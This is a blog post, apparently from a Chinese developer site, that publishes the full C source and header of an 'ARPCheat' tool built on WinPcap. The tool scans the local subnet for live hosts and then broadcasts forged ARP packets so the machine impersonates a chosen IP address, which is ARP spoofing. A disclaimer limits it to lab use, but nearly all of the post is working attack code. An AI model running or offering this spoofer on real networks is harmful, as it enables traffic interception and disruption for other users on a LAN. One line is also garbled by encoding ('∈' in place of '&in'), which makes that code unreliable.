ARPCheat Source Code

// 本程序仅用于信息安全专业实验 若用于攻击行为 后果自负!!
// Warning: Illegal Actions should be avoided or face the consequences.
//ArpCheat.cpp

/*
本代码部分参考于以下3位博客作者:
http://blog.csdn.net/cqcre/article/details/40213911
http://blog.sina.com.cn/s/blog_640be1370100xbi8.html
http://blog.csdn.net/microtong/article/details/3030039
对功能做了组合和添加并添加了部分注释
*/

#include "ArpCheat_Header.h"

char lock = FALSE; // 子线程锁
char lock_main_process = FALSE; // 子线程锁

int main(int argc, char* argv[])
{
	pcap_if_t *alldevs;              //全部网卡列表
	pcap_if_t *d;      
	int i_store;//一个网卡
	int inum = 0;                        //用户选择的网卡序号
	int i = 0;                         //循环变量
//	pcap_t *adhandle;                //一个pcap实例
	char errbuf[PCAP_ERRBUF_SIZE];   //错误缓冲区
	unsigned char *mac;              //本机MAC地址
	unsigned char *packet;           //ARP包
	unsigned long fakeIp;            //要伪装成的IP地址
	pcap_addr_t *pAddr;               //网卡地址
	unsigned long ip;                //IP地址
	unsigned long netmask;           //子网掩码
	char ip_v4[16] = "0";

	sp.ip = (char *)malloc(sizeof(char) * 16); //申请内存存放IP地址  
	sp.netmask = (char *)malloc(sizeof(char) * 16); //申请内存存放NETMASK地址  

	/* 获得本机网卡列表 */
	if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1)
	{
		fprintf(stderr, "Error in pcap_findalldevs: %s\n", errbuf);
		exit(1);
	}

	/* 打印网卡列表 */
	for (d = alldevs; d; d = d->next)
	{
		printf("%d", ++i);
		if (d->description)
			printf(". %s\n", d->description);
		else
			printf(". No description available\n");
	}
	//如果没有发现网卡
	if (i == 0)
	{
		printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
		return -1;
	}
	strcpy(sp.ip, "0.0.0.0");
	i_store = i;
	while (!strcmp(sp.ip,invalidipAddr)) // 不合法地址
	{
		if (i == inum - 1)
		{
			printf("Enter the interface number (1-%d except%d):",i_store, i+1);
			scanf("%d", &inum);
		}
		else
		{
			//请用户选择一个网卡
			printf("Enter the interface number (1-%d):", i);
			scanf("%d", &inum);
		}

		//如果用户选择的网卡序号超出有效范围,则退出
		if (inum < 1 || inum > i_store)
		{
			printf("\nInterface number out of range.\n");
			/* Free the device list */
			pcap_freealldevs(alldevs);
			return -1;
		}

		/* 移动指针到用户选择的网卡 */
		for (d = alldevs, i = 0; i< inum - 1; d = d->next, i++);

		mac = GetSelfMac(d->name + 8); //+8以去掉"rpcap://"
		printf("本机Mac地址为: (%.2X-%.2X-%.2X-%.2X-%.2X-%.2X) \n",
			mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
		/* 打开网卡 */
		//	if ((adhandle = pcap_open(d->name,          // name of the device
		if ((sp.adhandle = pcap_open(d->name,          // name of the device
			65536,            // portion of the packet to capture
			0,                //open flag
			1000,             // read timeout
			NULL,             // authentication on the remote machine
			errbuf            // error buffer
			)) == NULL)
		{
			fprintf(stderr, "\nUnable to open the adapter. %s is not supported by WinPcap\n",
				d->name);
			/* Free the device list */
			pcap_freealldevs(alldevs);
			return -1;
		}
		for (pAddr = d->addresses; pAddr; pAddr = pAddr->next)
		{
			//得到用户选择的网卡的一个IP地址
			ip = ((struct sockaddr_in *)pAddr->addr)->sin_addr.s_addr;
			char *ipstr;
			//将地址转化为字符串  
			ipstr = iptos(((struct sockaddr_in *)pAddr->addr)->sin_addr.s_addr); //*ip_addr  
			memcpy(sp.ip, ipstr, 16);

			//得到该IP地址对应的子网掩码
			netmask = ((struct sockaddr_in *)(pAddr->netmask))->sin_addr.S_un.S_addr;
			char *netmaskstr;
			netmaskstr = iptos(((struct sockaddr_in *)(pAddr->netmask))->sin_addr.s_addr);
			memcpy(sp.netmask, netmaskstr, 16);

			if (!ip || !netmask){
				continue;
			}
			printf("ip:%s\n", ipstr);
			printf("netmask:%s\n", netmaskstr);
			break;
		}
		if (!strcmp(sp.ip, invalidipAddr))
		{
			printf("选取的该网卡不合法,请重新选取.\n");
		}
	}

	sp.mac = mac;
	gp.adhandle = sp.adhandle;

	sendthread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)SendArpPacket,&sp, 0, NULL);
	printf("\n正在监听网卡: %s\n", d->description);
	recvthread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)GetLivePC, &gp,0, NULL);

	while (lock_main_process == FALSE); // 等待子进程结束

	printf("请输入想要伪造的IP地址: ");
	//从参数列表获得要伪装的IP地址
	scanf("%s", ip_v4);
	//	fakeIp = inet_addr(argv[1]);
	fakeIp = inet_addr(ip_v4);
	if (INADDR_NONE == fakeIp)
	{
		fprintf(stderr, "Invalid IP: %s\n", argv[1]);
		return -1;
	}

	unsigned long netsize = ntohl(~netmask); //网络中主机数
	unsigned long net = ip & netmask; //子网地址
	for (unsigned long n = 1; n<netsize; n++){
		//第i台主机的IP地址,网络字节顺序
		unsigned long destIp = net | htonl(n);
		//构建假的ARP请求包,达到本机伪装成给定的IP地址的目的
		packet = BuildArpPacket(mac, fakeIp, destIp);
	//	if (pcap_sendpacket(adhandle, packet, 60) == -1){
		if (pcap_sendpacket(sp.adhandle, packet, 60) == -1){
			fprintf(stderr, "pcap_sendpacket error.\n");
		}
	}
	return 0;
}
/**
* 获得网卡的MAC地址
* pDevName 网卡的设备名称
*/
unsigned char* GetSelfMac(char* pDevName){
	static u_char mac[6];
	memset(mac, 0, sizeof(mac));
	LPADAPTER lpAdapter = PacketOpenAdapter(pDevName);
	if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
	{
		return NULL;
	}
	PPACKET_OID_DATA OidData = (PPACKET_OID_DATA)malloc(6 + sizeof(PACKET_OID_DATA));
	if (OidData == NULL)
	{
		PacketCloseAdapter(lpAdapter);
		return NULL;
	}
	// 
	// Retrieve the adapter MAC querying the NIC driver
	//
	OidData->Oid = OID_802_3_CURRENT_ADDRESS;
	OidData->Length = 6;
	memset(OidData->Data, 0, 6);
	BOOLEAN Status = PacketRequest(lpAdapter, FALSE, OidData);
	if (Status)
	{
		memcpy(mac, (u_char*)(OidData->Data), 6);
	}
	free(OidData);
	PacketCloseAdapter(lpAdapter);
	return mac;
}
/**
* 封装ARP请求包
* source_mac 源MAC地址
* srcIP 源IP
* destIP 目的IP
*/
unsigned char* BuildArpPacket(unsigned char* source_mac,
	unsigned long srcIP, unsigned long destIP)
{
	static struct arp_packet packet;
	//目的MAC地址为广播地址,FF-FF-FF-FF-FF-FF
	memset(packet.eth.dest_mac, 0xFF, 6);
	//源MAC地址
	memcpy(packet.eth.source_mac, source_mac, 6);
	//上层协议为ARP协议,0x0806
	packet.eth.eh_type = htons(0x0806);
	//硬件类型,Ethernet是0x0001
	packet.arp.hardware_type = htons(0x0001);
	//上层协议类型,IP为0x0800
	packet.arp.protocol_type = htons(0x0800);
	//硬件地址长度:MAC地址长度为0x06
	packet.arp.add_len = 0x06;
	//协议地址长度:IP地址长度为0x04
	packet.arp.pro_len = 0x04;
	//操作:ARP请求为1
	packet.arp.option = htons(0x0001);
	//源MAC地址
	memcpy(packet.arp.sour_addr, source_mac, 6);
	//源IP地址
	packet.arp.sour_ip = srcIP;
	//目的MAC地址,填充0
	memset(packet.arp.dest_addr, 0, 6);
	//目的IP地址
	packet.arp.dest_ip = destIP;
	//填充数据,18B
	memset(packet.arp.padding, 0, 18);
	return (unsigned char*)&packet;
}

/* 向局域网内所有可能的IP地址发送ARP请求包线程 */
DWORD WINAPI SendArpPacket(LPVOID lpParameter) //(pcap_t *adhandle,char *ip,unsigned char *mac,char *netmask)
{
	sparam *spara = (sparam *)lpParameter;
	pcap_t *adhandle = spara->adhandle;
	char *ip = spara->ip;
	unsigned char *mac = spara->mac;
	char *netmask = spara->netmask;
	printf("Mac :%02x-%02x-%02x-%02x-%02x-%02x\n", mac[0], mac[1], mac[2],
		mac[3], mac[4], mac[5]);
	printf("IP :%s\n", ip);
	printf("NetMask :%s\n", netmask);
	printf("\n");
	unsigned char sendbuf[42]; //arp包结构大小
	ethernet_head eh;
	arp_head ah;
	//赋值MAC地址
	memset(eh.dest_mac, 0xff, 6);       
	//目的地址为全为广播地址
	memcpy(eh.source_mac, mac, 6);
	memcpy(ah.sour_addr, mac, 6);
	memset(ah.dest_addr, 0x00, 6);
	eh.eh_type = htons(0x0806); 
	//以太网帧类型表示后面数据的类型,对于ARP请求或应答来说,该字段的值为x0806  
	ah.hardware_type = htons(1); 
	//硬件类型字段值为表示以太网地址
	ah.protocol_type = htons(0x0800); 
	//协议类型字段表示要映射的协议地址类型值为x0800表示IP地址  
	ah.add_len = 6;
	ah.pro_len = 4;
	ah.sour_ip = inet_addr(ip); 
	//请求方的IP地址为自身的IP地址
	ah.option = htons(1); 
	//ARP请求 
	//向局域网内广播发送arp包
	unsigned long myip = inet_addr(ip);
	unsigned long mynetmask = inet_addr(netmask);
	unsigned long hisip = htonl((myip & mynetmask));
	//向255个主机发送
	for (int i = 0; i < HOSTNUM; i++) {
		ah.dest_ip = htonl(hisip + i);
		//构造一个ARP请求
		memset(sendbuf, 0, sizeof(sendbuf));
		memcpy(sendbuf, &eh, sizeof(eh));
		memcpy(sendbuf + sizeof(eh), &ah, sizeof(ah));
		//如果发送成功
		if (pcap_sendpacket(adhandle, sendbuf, 42) == 0) {
			//printf("\nPacketSend succeed\n");
		}
		else {
			printf("PacketSendPacket in getmine Error: %d\n", GetLastError());
		}
		Sleep(50);
	}
	Sleep(1000);
	lock = TRUE;
	return 0;
}

/* 分析截留的数据包获取活动的主机IP地址 */
DWORD WINAPI GetLivePC(LPVOID lpParameter) //(pcap_t *adhandle)
{
	gparam *gpara = (gparam *)lpParameter;
	pcap_t *adhandle = gpara->adhandle;
	int res;
	unsigned char Mac[6];
	struct pcap_pkthdr * pkt_header;
	const u_char * pkt_data;
	while (true) {
		if (lock) {
			printf("获取MAC地址完毕,请输入你要发送对方的IP地址:\n");
			break;
		}
		if ((res = pcap_next_ex(adhandle, &pkt_header, &pkt_data)) >= 0) 
		{
			if (*(unsigned short *)(pkt_data + 12) == htons(0x0806)) 
			{
				arp_packet *recv = (arp_packet *)pkt_data;
				if (*(unsigned short *)(pkt_data + 20) == htons(2)) 
				{
					printf("+-----------------------------------------------+\n");
					printf("| IP地址:%d.%d.%d.%d   MAC地址:",
						recv->arp.sour_ip & 255,
						recv->arp.sour_ip >> 8 & 255,
						recv->arp.sour_ip >> 16 & 255,
						recv->arp.sour_ip >> 24 & 255);
					for (int i = 0; i < 6; i++) {
						Mac[i] = *(unsigned char *)(pkt_data + 22 + i);
						printf("%02x", Mac[i]);
					}
					printf("\t| \n");
				}
			}
		}
		Sleep(10);
	}
	printf("+-----------------------------------------------+\n");
	lock_main_process = TRUE;
	return 0;
}

/* 将数字类型的IP地址转换成字符串类型的 */

char *iptos(u_long in)
{
	static char output[IPTOSBUFFERS][3 * 4 + 3 + 1];
	static short which;
	u_char *p;

	p = (u_char *)∈
	which = (which + 1 == IPTOSBUFFERS ? 0 : which + 1);
	sprintf_s(output[which], "%d.%d.%d.%d", p[0], p[1], p[2], p[3]);
	return output[which];
}
Header File:
//ArpCheat.h

#define _WINSOCK_DEPRECATED_NO_WARNINGS
#define _CRT_SECURE_NO_WARNINGS
#define IPTOSBUFFERS    12    
#define HOSTNUM         255   //主机数量  

#include <stdio.h>
#include <stdlib.h>
#include <pcap.h>
#include <conio.h>
#include <Packet32.h>
#include <winsock2.h>
#include "ntddndis.h"

#ifndef MY_ARP_CHEAT_INCLUDE_H
#define MY_ARP_CHEAT_INCLUDE_H

HANDLE sendthread;      //发送ARP包线程  
HANDLE recvthread;       //接受ARP包线程  

char invalidipAddr[16] = "0.0.0.0";

//字节对齐必须是1
#pragma pack (1)
struct ethernet_head
{
	unsigned char dest_mac[6];   //目标主机MAC地址
	unsigned char source_mac[6]; //源端MAC地址
	unsigned short eh_type;      //以太网类型
};
struct arp_head
{
	unsigned short hardware_type; //硬件类型:以太网接口类型为1
	unsigned short protocol_type; //协议类型:IP协议类型为0X0800
	unsigned char add_len;		  //硬件地址长度:MAC地址长度为6B
	unsigned char pro_len;		  //协议地址长度:IP地址长度为4B
	unsigned short option;		  //操作:ARP请求为1,ARP应答为2
	unsigned char sour_addr[6];   //源MAC地址:发送方的MAC地址
	unsigned long sour_ip;		  //源IP地址:发送方的IP地址
	unsigned char dest_addr[6];   //目的MAC地址:ARP请求中该字段没有意义;ARP响应中为接收方的MAC地址
	unsigned long dest_ip;		  //目的IP地址:ARP请求中为请求解析的IP地址;ARP响应中为接收方的IP地址
	unsigned char padding[18];
};
struct arp_packet         //最终arp包结构
{
	ethernet_head eth;    //以太网头部
	arp_head arp;         //arp数据包头部
};

struct sparam {
	pcap_t *adhandle;
	char *ip;
	unsigned char *mac;
	char *netmask;
};

struct gparam {
	pcap_t *adhandle;
};

struct sparam sp;
struct gparam gp;

#pragma pack ()
/**
* 获得网卡的MAC地址
* pDevName 网卡的设备名称
*/
unsigned char* GetSelfMac(char* pDevName);
/**
* 封装ARP请求包
* source_mac 源MAC地址
* srcIP 源IP
* destIP 目的IP
*/
unsigned char* BuildArpPacket(unsigned char* source_mac,
	unsigned long srcIP, unsigned long destIP);
/**
* 封装ARP请求包
* 向全网广播
*/
DWORD WINAPI SendArpPacket(LPVOID lpParameter);
/**
* 将数字类型的IP地址转换成字符串类型的
*/
char *iptos(u_long in);
/**
* 获取当前在线pc的ipAddr和MacAddr
*/
DWORD WINAPI GetLivePC(LPVOID lpParameter); //(pcap_t *adhandle)

#endif

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值